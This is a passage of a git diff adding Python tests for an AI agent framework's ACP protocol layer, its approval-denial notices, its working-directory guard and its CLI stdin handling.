outlet.deliver(Notice(kind=NoticeKind.ACTION_BLOCKED, detail="not mine", conversation_id="acp:s1")) + await outlet.emit_complete("acp:s1", "mine", {}) + await asyncio.sleep(COALESCE_WINDOW_S * 3) + finally: + await emitter.close_session("acp:s1") + + assert await future == "end_turn", "a notice nobody can attribute must not decide this prompt's outcome" + + async def test_a_foreign_error_through_the_real_outlet_does_not_settle(self): + """The other half, and the reason ``emit_error`` now takes a turn id: the + real emitter sent none, so any turn's failure answered this prompt.""" + from raven.rpc.spine import TuiOutlet + from raven.rpc.subscriptions import COALESCE_WINDOW_S, SubscriptionEmitter + + written: list[dict] = [] + translator = UpdateTranslator(emit=written.append) + emitter = SubscriptionEmitter(send_frame=translator.send_frame) + subscription_id = await emitter.register("acp:s1") + translator.add(AcpSession(session_id="acp:s1", session_key="acp:s1", cwd="/w", subscription_id=subscription_id)) + outlet = TuiOutlet("acp", emitter) + future = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "mine") + try: + await outlet.emit_error("acp:s1", -32000, "turn_failed", "internal", "boom", turn_id="runtime-turn") + await asyncio.sleep(COALESCE_WINDOW_S * 3) + assert not future.done(), "another turn's failure is not this prompt's answer" + + await outlet.emit_error("acp:s1", -32000, "turn_failed", "internal", "mine", turn_id="mine") + await asyncio.sleep(COALESCE_WINDOW_S * 3) + finally: + await emitter.close_session("acp:s1") + + assert await future == "end_turn" + + async def test_a_subscription_that_dies_answers_the_prompt(self): + """The hang the positive-match rule created, reproduced the way review + found it: through a real ``SubscriptionEmitter`` filled past capacity. + + ``_close_overflow`` emits ``-32016`` and then removes the subscription, and + that error deliberately carries no ``turn_id`` -- its shape is pinned by + ``test_overflow_error_event_payload_shape``. Under correlation alone it + read as "not this turn" and was dropped, and because the stream was gone + no correlated ending could ever follow, so the prompt stayed unanswered + for the life of the connection. Correlation is there to stop another + turn's ending from answering this one; when the stream itself ends there + is no other ending coming.""" + from raven.rpc.subscriptions import QUEUE_CAPACITY, SubscriptionEmitter + + translator = UpdateTranslator(emit=lambda f: None) + emitter = SubscriptionEmitter(send_frame=translator.send_frame) + subscription_id = await emitter.register("acp:s1") + translator.add(AcpSession(session_id="acp:s1", session_key="acp:s1", cwd="/w", subscription_id=subscription_id)) + future = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "mine") + + for index in range(QUEUE_CAPACITY + 50): + await emitter.emit("acp:s1", {"type": "token.delta", "payload": {"text": f"x{index}"}}) + for _ in range(8): + await asyncio.sleep(0) + + assert await asyncio.wait_for(future, timeout=2) == "cancelled" + # The stream is dead, not only the turn: a session left bound to the + # removed subscription would hang its next prompt, which now decides it + # must re-subscribe by this field being unset. + assert translator.get("acp:s1").subscription_id is None + + async def test_an_overflow_with_no_open_prompt_still_kills_the_stream(self): + """Overflow can land while the subscription carries a runtime turn, with + no ACP prompt open at all. ``_deliver`` must still release the binding, or + the next prompt hangs on a subscription the emitter has already dropped.""" + from raven.rpc.subscriptions import QUEUE_CAPACITY, SubscriptionEmitter + + translator = UpdateTranslator(emit=lambda f: None) + emitter = SubscriptionEmitter(send_frame=translator.send_frame) + subscription_id = await emitter.register("acp:s1") + translator.add(AcpSession(session_id="acp:s1", session_key="acp:s1", cwd="/w", subscription_id=subscription_id)) + + for index in range(QUEUE_CAPACITY + 50): + await emitter.emit("acp:s1", {"type": "token.delta", "payload": {"text": f"x{index}"}}) + for _ in range(8): + await asyncio.sleep(0) + + assert translator.get("acp:s1").subscription_id is None + + async def test_the_held_endings_do_not_grow_without_bound(self): + """The hold exists for one narrow window. A stream of foreign turns must + not turn it into a leak that lives as long as the connection.""" + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + translator.begin_turn("acp:s1") + + for index in range(200): + await translator.send_frame(_event("message.complete", turn_id=f"other-{index}")) + + session = translator.get("acp:s1") + assert session is not None and session.turn is not None + assert len(session.turn.deferred) <= MAX_DEFERRED_ENDINGS diff --git a/tests/test_agent_acp_protocol.py b/tests/test_agent_acp_protocol.py new file mode 100644 index 00000000..f1871ac2 --- /dev/null +++ b/tests/test_agent_acp_protocol.py @@ -0,0 +1,103 @@ +"""The ACP wire framing, in both directions. + +Small functions, and the reason they are pinned is that both directions share +them: a frame that round-trips through one serialiser and not the other is the +kind of bug that only shows up against somebody else's implementation, by which +point the evidence is a remote parse error with no local trace. +""" + +from __future__ import annotations + +import json + +import pytest + +from raven.agent.acp import protocol + + +def test_a_frame_is_one_line_and_the_newline_is_part_of_it() -> None: + """The framing IS the newline: a reader splits on it, so a writer that omits + it produces two frames glued together and a reader that adds a second one + produces an empty frame between them.""" + out = protocol.encode({"jsonrpc": "2.0", "id": 1, "method": "initialize"}) + + assert out.endswith(b"\n") + assert out.count(b"\n") == 1 + assert protocol.decode(out.decode().rstrip("\n"))["method"] == "initialize" + + +def test_non_ascii_survives_the_round_trip() -> None: + """Escaping non-ASCII would still be legal JSON, which is exactly why this is + pinned: the two directions have to agree, and a mismatch shows up as a + mangled path or message rather than as a parse failure.""" + frame = {"jsonrpc": "2.0", "id": 1, "params": {"path": "/tmp/测试.txt"}} + + assert protocol.decode(protocol.encode(frame).decode())["params"]["path"] == "/tmp/测试.txt" + + +@pytest.mark.parametrize("line", ["", " ", "not json", "{", '{"jsonrpc": "2.0"', "[1, 2]", '"a string"']) +def test_anything_that_is_not_a_json_object_is_a_protocol_error(line: str) -> None: + """One error type for every unusable line, because the caller's answer is the + same for all of them: this peer is not speaking the protocol. A bare + ValueError or a TypeError from indexing would each need their own handler.""" + with pytest.raises(protocol.AcpProtocolError): + protocol.decode(line) + + +def test_the_error_types_separate_answers_a_caller_gives_differently() -> None: + """A remote error is the agent saying no, a protocol error is the agent saying + something unparseable, and a connection error is the agent not being there. + A caller reports the first two and retries none of them the same way, so they + cannot collapse into one class.""" + assert issubclass(protocol.AcpConnectionError, protocol.AcpError) + assert issubclass(protocol.AcpProtocolError, protocol.AcpError) + assert issubclass(protocol.AcpRemoteError, protocol.AcpError) + assert issubclass(protocol.AcpTimeoutError, protocol.AcpError) + + err = protocol.AcpRemoteError("session/new", -32602, "Invalid params", {"field": "cwd"}) + assert err.method == "session/new" + assert err.code == -32602 + assert err.data == {"field": "cwd"} + assert "session/new" in str(err) and "-32602" in str(err) + + +def test_a_request_carries_params_only_when_there_are_some() -> None: + """Absent rather than null: a peer that validates its params against a schema + can reject an explicit null for a method whose params are optional.""" + assert protocol.request(1, "session/cancel") == {"jsonrpc": "2.0", "id": 1, "method": "session/cancel"} + assert protocol.request(2, "m", {"a": 1})["params"] == {"a": 1} + + +def test_a_notification_carries_no_id_at_all() -> None: + """The one structural difference that decides whether a peer answers: an id + means a reply is expected, and a notification with one makes the peer wait + for an answer nobody will send.""" + note = protocol.notification("session/update", {"sessionId": "s"}) + + assert "id" not in note + assert note["method"] == "session/update" + assert protocol.notification("m") == {"jsonrpc": "2.0", "method": "m"} + + +def test_a_response_is_a_result_or_an_error_and_never_both() -> None: + ok = protocol.result_response(1, {"sessionId": "s"}) + bad = protocol.error_response(1, -32601, "Method not found") + + assert "error" not in ok and ok["result"] == {"sessionId": "s"} + assert "result" not in bad and bad["error"] == {"code": -32601, "message": "Method not found"} + # The id has to survive verbatim, including a string one: a peer pairs its + # pending call by identity, so coercing the type strands the call. + assert protocol.error_response("stub-2", -1, "x")["id"] == "stub-2" + + +def test_the_handshake_params_carry_only_what_was_measured_to_be_accepted() -> None: + """A third field was tried against a real agent and answered with -32602. The + fix was to stop sending it rather than to guess at its shape, so the set is + pinned here: an optional-looking extra that hard-fails a handshake is the + worst kind of protocol guess.""" + params = protocol.initialize_params() + + assert set(params) == {"protocolVersion", "clientCapabilities"} + assert params["protocolVersion"] == protocol.PROTOCOL_VERSION + # Serialisable as it stands: this goes straight into a frame. + json.dumps(params) diff --git a/tests/test_agent_loop_approval.py b/tests/test_agent_loop_approval.py index fc74a444..d74d61dd 100644 --- a/tests/test_agent_loop_approval.py +++ b/tests/test_agent_loop_approval.py @@ -1,5 +1,8 @@ from __future__ import annotations +import dataclasses +import json + from raven.agent.loop import AgentLoop from raven.agent.tools.shell import ExecTool from raven.providers.base import LLMResponse, ToolCallRequest @@ -165,3 +168,335 @@ async def test_agent_loop_skips_remaining_tool_calls_after_delete_denial(tmp_pat assert "no alternative method will be attempted" in result assert executor.commands == [] assert len(provider.responses) == 1 + + +class _StreamingProvider(_Provider): + """The delete-then-explain script, delivered through ``chat_stream``. + + Needed because passing ``on_token_delta`` puts the loop on its streaming + path: with a provider that only answers ``chat_with_retry`` the call raises + before reaching the block under test, and the "nothing entered the token + stream" assertion would pass for the wrong reason. + """ + + async def chat_stream(self, **kwargs): + from raven.providers.base import StreamDelta as _Delta + + response = self.responses.pop(0) + if response.tool_calls: + # The provider-side shape, not a convenient one: the accumulator + # reads ``tool_calls[].function.{name,arguments}`` and ignores + # anything else, so a flatter dict streams as an EMPTY response and + # the tool never runs -- which is how this test first passed its + # "nothing reached the token stream" assertion for the wrong reason. + yield _Delta( + content=None, + tool_call_delta={ + "tool_calls": [ + { + "index": index, + "id": call.id, + "function": {"name": call.name, "arguments": json.dumps(call.arguments)}, + } + for index, call in enumerate(response.tool_calls) + ] + }, + ) + yield _Delta(content=None, finish_reason="tool_calls") + return + yield _Delta(content=response.content) + yield _Delta(content=None, finish_reason="stop") + + +async def test_a_denied_delete_reaches_the_client_as_a_notice_not_as_the_answer(tmp_path) -> None: + """Runtime prose must not enter the model's own output buffer. + + Streamed as token deltas -- which is how it used to leave the loop -- the + sentence lands in the buffer holding the model's answer, so a client renders + it as the model speaking: run together with whatever was narrated just + before, and wearing the answer's copy and branch actions. The notice carries + the blocking tool's own first line as detail, because the canned sentence + says an operation stopped and never which one. + """ + from raven.spine.events import NoticeKind + + notices: list[tuple[NoticeKind, str]] = [] + deltas: list[str] = [] + + async def on_notice(kind: NoticeKind, detail: str) -> None: + notices.append((kind, detail)) + + async def on_token_delta(text: str) -> None: + deltas.append(text) + + agent = AgentLoop(provider=_StreamingProvider(), workspace=tmp_path, model="fake/model") + tool = ExecTool(executor=_Executor(), working_dir=str(tmp_path)) + tool.start_approval_turn(_Responder(answer=False), conversation_id="session-a", turn_id="turn-a") + agent.tools.register(tool) + + await agent._process_message( + TurnRequest( + origin=Origin.USER, + source=Source(channel="tui", chat_id="default", sender_id="user", chat_type=ChatType.DM), + text="delete file.txt", + conversation="session-a", + ), + session_key="session-a", + on_notice=on_notice, + on_token_delta=on_token_delta, + ) + + assert [kind for kind, _detail in notices] == [NoticeKind.ACTION_BLOCKED] + assert notices[0][1], "the blocking tool's own first line must ride along as detail" + assert deltas == [], "the runtime sentence must not enter the model's token stream" + + +async def test_a_surface_with_no_notice_outlet_still_says_something(tmp_path) -> None: + """The fallback is the point: a channel that cannot draw a notice would + otherwise end the turn in silence, and silence is the worse failure.""" + deltas: list[str] = [] + + async def on_token_delta(text: str) -> None: + deltas.append(text) + + agent = AgentLoop(provider=_StreamingProvider(), workspace=tmp_path, model="fake/model") + tool = ExecTool(executor=_Executor(), working_dir=str(tmp_path)) + tool.start_approval_turn(_Responder(answer=False), conversation_id="session-a", turn_id="turn-a") + agent.tools.register(tool) + + await agent._process_message( + TurnRequest( + origin=Origin.USER, + source=Source(channel="tui", chat_id="default", sender_id="user", chat_type=ChatType.DM), + text="delete file.txt", + conversation="session-a", + ), + session_key="session-a", + on_token_delta=on_token_delta, + ) + + assert deltas and "no alternative method will be attempted" in deltas[0] + + +async def test_the_blocked_notice_reaches_the_spine_as_a_deliverable(tmp_path) -> None: + """The other half of the same path: ``run_turn`` is the boundary that turns + the loop's callback into a spine ``Notice``, and an outlet is what a client + is actually attached to. Without this the callback could be wired and the + event still never reach anyone.""" + from raven.spine.events import Notice, NoticeKind + + emitted: list = [] + + async def emit(event) -> None: + emitted.append(event) + + def drain() -> list: + return [] + + agent = AgentLoop(provider=_StreamingProvider(), workspace=tmp_path, model="fake/model") + tool = ExecTool(executor=_Executor(), working_dir=str(tmp_path)) + tool.start_approval_turn(_Responder(answer=False), conversation_id="session-a", turn_id="turn-a") + agent.tools.register(tool) + + await agent.run_turn( + TurnRequest( + origin=Origin.USER, + source=Source(channel="tui", chat_id="default", sender_id="user", chat_type=ChatType.DM), + text="delete file.txt", + conversation="session-a", + ), + emit, + drain, + stream=True, + ) + + notices = [e for e in emitted if isinstance(e, Notice)] + blocked = [n for n in notices if n.kind is NoticeKind.ACTION_BLOCKED] + assert len(blocked) == 1, f"expected exactly one blocked notice, got {notices}" + assert blocked[0].detail, "the blocking tool's own first line must survive to the spine event" + + +def test_a_tool_that_failed_without_saying_anything_yields_no_detail() -> None: + """``detail`` is optional on the wire for this reason: a tool can abort with + no readable line at all, and inventing one would put whitespace in front of + a person as if it were an explanation.""" + from raven.agent.loop.main import _first_line + + assert _first_line("Error: blocked by policy\nstack line") == "Error: blocked by policy" + assert _first_line("\n \n\t\n") == "" + assert _first_line("") == "" + assert _first_line(None) == "" + + +async def test_the_blocked_sentence_is_not_also_emitted_as_the_model_s_answer(tmp_path) -> None: + """Routing the sentence to a notice is only half of it. ``_process_message`` + still returns it as the reply, and the ``run_turn`` boundary emits a closing + ``Text`` whenever nothing streamed -- which ``TuiOutlet`` maps straight back + to ``token.delta``. The turn then shows the notice AND the same runtime + sentence wearing the model's voice, which is what the notice path existed to + prevent.""" + from raven.spine.events import Notice, StreamDelta, Text + + emitted: list = [] + + async def emit(event) -> None: + emitted.append(event) + + def drain() -> list: + return [] + + agent = AgentLoop(provider=_StreamingProvider(), workspace=tmp_path, model="fake/model") + tool = ExecTool(executor=_Executor(), working_dir=str(tmp_path)) + tool.start_approval_turn(_Responder(answer=False), conversation_id="session-a", turn_id="turn-a") + agent.tools.register(tool) + + await agent.run_turn( + TurnRequest( + origin=Origin.USER, + source=Source(channel="tui", chat_id="default", sender_id="user", chat_type=ChatType.DM), + text="delete file.txt", + conversation="session-a", + ), + emit, + drain, + stream=True, + ) + + assert [e for e in emitted if isinstance(e, Notice)], "the notice is still the delivery" + sentence = "no alternative method will be attempted" + prose = [e for e in emitted if isinstance(e, Text) and sentence in e.content] + deltas = [e for e in emitted if isinstance(e, StreamDelta) and sentence in e.delta] + assert prose == [], f"the runtime sentence must not also arrive as the answer: {prose}" + assert deltas == [], f"nor as token deltas: {deltas}" + + +async def test_a_normal_turn_still_gets_its_closing_text(tmp_path) -> None: + """The suppression is keyed on ACTION_BLOCKED, not on 'a notice fired'. A + progress notice accompanies the answer, so gating on any notice at all would + silence every non-streaming turn that reported progress.""" + from raven.spine.events import Notice, NoticeKind, Text + + emitted: list = [] + + async def emit(event) -> None: + emitted.append(event) + + def drain() -> list: + return [] + + from typing import Any + + from raven.agent.tools.base import Tool + + class _Counter(Tool): + @property + def name(self) -> str: + return "count_files" + + @property + def description(self) -> str: + return "count files" + + @property + def parameters(self) -> dict[str, Any]: + return {"type": "object", "properties": {}} + + async def execute(self, **kwargs: Any) -> str: + return "1 file" + + class _HintingProvider(_Provider): + def __init__(self) -> None: + self.responses = [ + LLMResponse( + content="", + tool_calls=[ToolCallRequest(id="call-c", name="count_files", arguments={})], + finish_reason="tool_calls", + ), + LLMResponse(content="The file is still there.", finish_reason="stop"), + ] + + agent = AgentLoop(provider=_HintingProvider(), workspace=tmp_path, model="fake/model") + agent.tools.register(_Counter()) + + outcome = await agent.run_turn( + TurnRequest( + origin=Origin.USER, + source=Source(channel="tui", chat_id="default", sender_id="user", chat_type=ChatType.DM), + text="hello", + conversation="session-b", + ), + emit, + drain, + stream=False, + ) + + assert outcome is not None + hints = [e for e in emitted if isinstance(e, Notice) and e.kind is NoticeKind.TOOL_HINT] + assert hints, f"this turn is only a discriminator if a notice fired at all: {emitted}" + assert not [e for e in emitted if isinstance(e, Notice) and e.kind is NoticeKind.ACTION_BLOCKED] + assert [e for e in emitted if isinstance(e, Text)], f"the answer must still be delivered: {emitted}" + + +async def test_a_denied_action_still_reaches_a_channel_that_cannot_draw_notices(tmp_path) -> None: + """The end of the same path, on the surface that has no notice to draw. + + ``run_turn`` always wires ``on_notice``, so a non-streaming channel turn takes + the notice branch too -- and the boundary then suppresses the closing + ``Text``. Before the outlet learned this one kind, that combination delivered + nothing at all: the turn ended normally and the channel had sent no message, + which is what a refusal and an empty answer look like when they are the same + silence. Exactly one message, because the point of the suppression is that no + surface says it twice. + """ + from raven.channels.outlet import ChannelOutletAdapter + from raven.spine.events import Deliverable + + class _Channel: + def __init__(self) -> None: + self.name = "telegram" + self.sent: list[str] = [] + + async def send(self, chat_id: str, content: str, media: list[str] | None = None) -> None: + self.sent.append(content) + + channel = _Channel() + outlet = ChannelOutletAdapter(channel) + source = Source(channel="telegram", chat_id="c1", sender_id="user", chat_type=ChatType.DM) + + async def emit(event) -> None: + if isinstance(event, Deliverable): + # The hub stamps the target before an outlet sees it; the runner-side + # events carry none, so this stands in for that hop. + await outlet.deliver(dataclasses.replace(event, source=source)) + + def drain() -> list: + return [] + + agent = AgentLoop(provider=_Provider(), workspace=tmp_path, model="fake/model") + tool = ExecTool(executor=_Executor(), working_dir=str(tmp_path)) + tool.start_approval_turn(_Responder(answer=False), conversation_id="session-c", turn_id="turn-c") + agent.tools.register(tool) + + await agent.run_turn( + TurnRequest( + origin=Origin.USER, + source=source, + text="delete file.txt", + conversation="session-c", + ), + emit, + drain, + stream=False, + ) + + assert channel.sent, "a denied action must not leave the channel with nothing to show" + assert len(channel.sent) == 1, f"and must not say it twice: {channel.sent}" + # The content, not just the count. The tool's error line says which operation + # was stopped and nothing else; sent on its own it leaves the turn as + # "Error: User denied this command...", with no word that no alternative will + # be attempted and no offer to continue with the safe remainder -- which is + # the runtime's controlled answer to a blocked turn, and the thing the person + # actually needs. + said = channel.sent[0] + assert "carry on with the parts that do not need it" in said, said + assert "denied" in said or "approval" in said, f"and it must still name what was stopped: {said}" diff --git a/tests/test_agent_workdir.py b/tests/test_agent_workdir.py new file mode 100644 index 00000000..2abbe355 --- /dev/null +++ b/tests/test_agent_workdir.py @@ -0,0 +1,98 @@ +"""The guard on a user-supplied working directory. + +Every case here is a directory somebody could plausibly name -- a project, a +home, a scratch tree -- and the ones that are refused are refused because the +agent would end up writing over its own memory, skills or credentials. The +reasons differ per case, which is why they are enumerated rather than sampled. +""" + +from __future__ import annotations + +from pathlib import Path + +import pytest + +from raven.agent.workdir import is_within, validate_override + + +def test_override_must_be_absolute(tmp_path: Path) -> None: + with pytest.raises(ValueError, match="absolute"): + validate_override("relative/path", tmp_path) + + +@pytest.mark.parametrize("subtree", ["user_memory", "skills", "sessions"]) +def test_override_cannot_point_into_agent_home_internals(tmp_path: Path, subtree: str) -> None: + with pytest.raises(ValueError, match=subtree): + validate_override(tmp_path / subtree / "nested", tmp_path) + + +def test_override_cannot_be_agent_home_itself(tmp_path: Path) -> None: + """Working in agent home puts every protected subtree one relative path away.""" + with pytest.raises(ValueError, match="agent home"): + validate_override(tmp_path, tmp_path) + + +def test_override_cannot_be_an_ancestor_of_agent_home(tmp_path: Path) -> None: + """An ancestor is refused for a stronger reason than agent home itself. + + The realistic ancestor is `~/.raven`, which is not merely agent home's + parent but the instance data directory: `config.json` (provider keys), + `oauth/`, `cron/`, `logs/`. A per-turn checkpoint that runs `add -A` over the + working directory, with a `.raven/` exclude that cannot help when `.raven` is + itself the work-tree root, commits every credential into a shadow repo. + `user_memory/` and `skills/` are also back within relative reach, one level + deeper than from agent home. + """ + home = tmp_path / "nested" / "home" + home.mkdir(parents=True) + with pytest.raises(ValueError, match="agent home"): + validate_override(tmp_path, home) + with pytest.raises(ValueError, match="agent home"): + validate_override(tmp_path / "nested", home) + + +def test_override_may_be_a_sibling_of_agent_home(tmp_path: Path) -> None: + """Containment is the test, not proximity: a directory next to agent home + holds none of it, so `add -A` there captures nothing protected.""" + home = tmp_path / "nested" / "home" + home.mkdir(parents=True) + sibling = tmp_path / "nested" / "project" + sibling.mkdir() + assert validate_override(sibling, home) == sibling + + +def test_override_comes_back_resolved(tmp_path: Path) -> None: + """The caller stores what this returns, so the symlink is followed once here + rather than differently by each later reader.""" + home = tmp_path / "home" + home.mkdir() + real = tmp_path / "real" + real.mkdir() + link = tmp_path / "link" + link.symlink_to(real) + + assert validate_override(link, home) == real.resolve() + + +def test_a_symlink_into_a_protected_subtree_is_still_refused(tmp_path: Path) -> None: + """Resolving before comparing is what makes this hold: checked as written, + the path looks like an ordinary sibling.""" + home = tmp_path / "home" + (home / "skills").mkdir(parents=True) + link = tmp_path / "innocent" + link.symlink_to(home / "skills") + + with pytest.raises(ValueError, match="skills"): + validate_override(link, home) + + +def test_is_within_compares_physical_paths(tmp_path: Path) -> None: + """A validated override is resolved and a workspace root generally is not. + Comparing the two unresolved can disagree about one directory on disk.""" + root = tmp_path / "root" + (root / "inside").mkdir(parents=True) + link = tmp_path / "link" + link.symlink_to(root / "inside") + + assert is_within(link, root) is True + assert is_within(tmp_path / "elsewhere", root) is False diff --git a/tests/test_approval_broker.py b/tests/test_approval_broker.py index cc6aeb77..6dda8367 100644 --- a/tests/test_approval_broker.py +++ b/tests/test_approval_broker.py @@ -5,7 +5,7 @@ import pytest -from raven.tui_rpc.approval_broker import ApprovalBroker +from raven.rpc.approval_broker import ApprovalBroker async def _wait_for_frame(frames: list[dict]) -> dict: diff --git a/tests/test_ask_user_tool.py b/tests/test_ask_user_tool.py index 145b02c1..69d1c911 100644 --- a/tests/test_ask_user_tool.py +++ b/tests/test_ask_user_tool.py @@ -352,7 +352,7 @@ def test_description_states_the_cap_the_code_enforces(): async def test_round_trip_through_the_real_broker(): """Every other test here drives a stand-in, which cannot catch the tool and the broker disagreeing about the keyword names they pass between them.""" - from raven.tui_rpc.question_broker import QuestionBroker + from raven.rpc.question_broker import QuestionBroker frames: list[dict] = [] @@ -384,9 +384,9 @@ async def test_registry_dispatch_and_the_real_clarify_respond_route(): have accepted -- the schema validator runs in between. """ from raven.agent.tools.registry import ToolRegistry - from raven.tui_rpc.dispatcher import Dispatcher - from raven.tui_rpc.methods.question import register_question_methods - from raven.tui_rpc.question_broker import QuestionBroker + from raven.rpc.dispatcher import Dispatcher + from raven.rpc.methods.question import register_question_methods + from raven.rpc.question_broker import QuestionBroker dispatcher = Dispatcher() diff --git a/tests/test_channels_outlet.py b/tests/test_channels_outlet.py index ead56998..4f8f268f 100644 --- a/tests/test_channels_outlet.py +++ b/tests/test_channels_outlet.py @@ -14,6 +14,11 @@ from raven.spine.delivery import Outlet from raven.spine.message import Media +_SAID = ( + "A safety rule stopped this operation, so the turn ended here. " + "Say the word and I will carry on with the parts that do not need it." +) + def _src(channel="telegram", chat_id="c1") -> Source: return Source(channel=channel, chat_id=chat_id, sender_id="user", chat_type=ChatType.DM) @@ -68,3 +73,41 @@ async def test_deliver_eats_streaming_and_in_turn_events(): await adapter.deliver(ToolEvent(phase=ToolPhase.START, tool_call_id="t1", name="grep", source=src)) await adapter.deliver(Notice(kind=NoticeKind.PROGRESS, detail="working", source=src)) assert ch.sent == [] # all eaten — a non-streaming channel renders only the final reply + + +async def test_a_blocked_action_is_not_eaten() -> None: + """The one notice kind that replaces the answer instead of accompanying it. + The runtime ends the turn on a safety decision and the reply it would have + sent *is* this notice, so eating it -- as this outlet does with every other + kind -- ends the turn in silence: the user asked for something, the runtime + refused, and nothing arrives. Measured through a real denial before this: the + turn ended normally and the channel had sent nothing at all.""" + ch = _FakeChannel() + adapter = ChannelOutletAdapter(ch) + + await adapter.deliver( + Notice(kind=NoticeKind.ACTION_BLOCKED, detail="Error: command requires approval", source=_src("telegram", "c3")) + ) + + assert len(ch.sent) == 1 + chat_id, content, media = ch.sent[0] + assert chat_id == "c3" and media is None + # Both halves. The detail alone reduces the turn to the tool's error line, so + # the person never learns that no alternative will be attempted and never + # gets the offer to continue with the parts that do not need it. + assert content == _SAID + "\nError: command requires approval" + + +async def test_a_blocked_action_with_no_detail_still_says_something() -> None: + """``detail`` is optional on purpose: a tool can abort with no readable line + at all. Sending whitespace would put an empty message in front of a person as + if it were an explanation, and sending nothing is the silence this exists to + prevent.""" + ch = _FakeChannel() + adapter = ChannelOutletAdapter(ch) + + await adapter.deliver(Notice(kind=NoticeKind.ACTION_BLOCKED, detail=None, source=_src())) + await adapter.deliver(Notice(kind=NoticeKind.ACTION_BLOCKED, detail=" \n ", source=_src())) + + assert [content for _chat, content, _media in ch.sent] == [_SAID, _SAID] + assert not any(c.endswith("\n") for _chat, c, _media in ch.sent), "no dangling second half" diff --git a/tests/test_cli_acp_commands.py b/tests/test_cli_acp_commands.py new file mode 100644 index 00000000..bdec292f --- /dev/null +++ b/tests/test_cli_acp_commands.py @@ -0,0 +1,280 @@ +"""``raven acp``'s process shell: the channel, the reader, and the callback. + +What the command owns is narrow on purpose -- claim fd 1, send the logs +elsewhere, open stdin, hand both to the server -- so what is pinned here is that +each of those happens and is undone. The protocol itself is +``tests/test_acp_methods.py``; the descriptor surgery is +``tests/test_acp_stdio.py``. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import io +import os +import sys +import threading +from types import SimpleNamespace + +import pytest +import typer + +from raven.cli import acp_commands + + +class TestServe: + """The shell around the server, with the descriptors and the log stubbed. + + ``claim_stdout`` has its own tests against real descriptors and the protocol + has its own module; what is left to pin here is that the writer and the + reader the server is handed are the ones this command set up, and that both + are released afterwards. + """ + + @staticmethod + def _stub(monkeypatch, tmp_path, inbound: bytes) -> tuple[io.BytesIO, list]: + written = io.BytesIO() + claimed = [] + released = [] + + @contextlib.contextmanager + def _claim(): + claimed.append(written) + try: + yield written + finally: + released.append(written) + + reader = asyncio.StreamReader() + reader.feed_data(inbound) + reader.feed_eof() + + @contextlib.asynccontextmanager + async def _open(): + yield reader + + monkeypatch.setattr(acp_commands, "claim_stdout", _claim) + monkeypatch.setattr(acp_commands, "redirect_loguru_to_file", lambda *a, **k: tmp_path / "acp.log") + monkeypatch.setattr(acp_commands, "_open_stdin", _open) + return written, released + + async def test_the_server_is_handed_the_claimed_writer_and_the_opened_reader(self, monkeypatch, tmp_path): + written, released = self._stub(monkeypatch, tmp_path, b'{"jsonrpc":"2.0","id":1,"method":"x"}\n') + seen = {} + + async def _serve(reader, out): + seen["out"] = out + seen["first"] = await reader.readline() + + monkeypatch.setattr(acp_commands, "serve", _serve) + + await acp_commands._serve() + + assert seen["out"] is written, "the server must write to the claimed descriptor, not to sys.stdout" + assert seen["first"] == b'{"jsonrpc":"2.0","id":1,"method":"x"}\n' + assert released == [written], "the channel must be given back even on the happy path" + + async def test_the_channel_is_released_when_the_server_raises(self, monkeypatch, tmp_path): + """Without this, a startup failure leaves fd 1 pointing at stderr for + whatever runs next in the process -- and in a test run, for the rest of + the session.""" + written, released = self._stub(monkeypatch, tmp_path, b"") + + async def _explode(reader, out): + raise RuntimeError("engine failed to build") + + monkeypatch.setattr(acp_commands, "serve", _explode) + + try: + await acp_commands._serve() + except RuntimeError as exc: + assert str(exc) == "engine failed to build" + else: + raise AssertionError("the failure must propagate; a silent exit reads as a clean shutdown") + + assert released == [written] + + async def test_crash_handlers_are_installed_before_the_channel_is_claimed(self, monkeypatch, tmp_path): + """Ordering, not existence: a failure inside ``claim_stdout`` itself is + exactly the one that needs the hook already in place.""" + order = [] + self._stub(monkeypatch, tmp_path, b"") + real_claim = acp_commands.claim_stdout + + @contextlib.contextmanager + def _claim(): + order.append("claim") + with real_claim() as out: + yield out + + monkeypatch.setattr(acp_commands, "claim_stdout", _claim) + monkeypatch.setattr(acp_commands, "install_crash_handlers", lambda: order.append("handlers")) + + async def _serve(reader, out): + return None + + monkeypatch.setattr(acp_commands, "serve", _serve) + + await acp_commands._serve() + + assert order == ["handlers", "claim"] + + +class TestOpenStdin: + async def test_it_reads_the_process_stdin(self, monkeypatch): + """Pinned because the wiring is easy to get subtly wrong: attaching to + ``sys.stdin``'s buffer rather than the object, or to a descriptor that + was already consumed, both yield a reader that simply never delivers.""" + read_fd, write_fd = os.pipe() + os.write(write_fd, b"payload\n") + os.close(write_fd) + monkeypatch.setattr(sys, "stdin", os.fdopen(read_fd, "rb")) + + async with acp_commands._open_stdin() as reader: + assert await reader.readline() == b"payload\n" + + async def test_the_transport_is_closed_on_the_way_out(self, monkeypatch): + """An unclosed read transport is collected with the loop still holding + its descriptor, which surfaces later as an unraisable error with no + caller to report it to.""" + read_fd, write_fd = os.pipe() + os.close(write_fd) + monkeypatch.setattr(sys, "stdin", os.fdopen(read_fd, "rb")) + + captured = [] + real = asyncio.get_running_loop().connect_read_pipe + + async def _spy(factory, pipe): + transport, proto = await real(factory, pipe) + captured.append(transport) + return transport, proto + + monkeypatch.setattr(asyncio.get_running_loop(), "connect_read_pipe", _spy) + + async with acp_commands._open_stdin(): + pass + + assert captured and captured[0].is_closing() + + async def test_a_regular_file_on_stdin_falls_back_to_a_thread(self, monkeypatch, tmp_path): + """``connect_read_pipe`` refuses a regular file outright, so + ``raven acp < script.jsonl`` -- how anyone first tries this by hand -- + would die with a traceback before reading a byte.""" + script = tmp_path / "script.jsonl" + script.write_bytes(b'{"jsonrpc":"2.0","id":1,"method":"initialize"}\n') + handle = script.open("rb") + monkeypatch.setattr(sys, "stdin", handle) + + try: + async with acp_commands._open_stdin() as reader: + assert await reader.readline() == b'{"jsonrpc":"2.0","id":1,"method":"initialize"}\n' + assert await reader.read() == b"", "the fallback must also deliver EOF" + finally: + handle.close() + + async def test_the_fallback_thread_does_not_hold_the_loop_open(self, monkeypatch): + """Measured, not predicted. ``run_in_executor`` was the first shape, and + asyncio waits for the default executor when it closes the loop -- so an + uncancellable blocking read on an idle stream became a process that would + not exit. This test hung until it was killed. A daemon thread has no such + hold, and nothing here waits for it.""" + read_fd, write_fd = os.pipe() + monkeypatch.setattr(sys, "stdin", 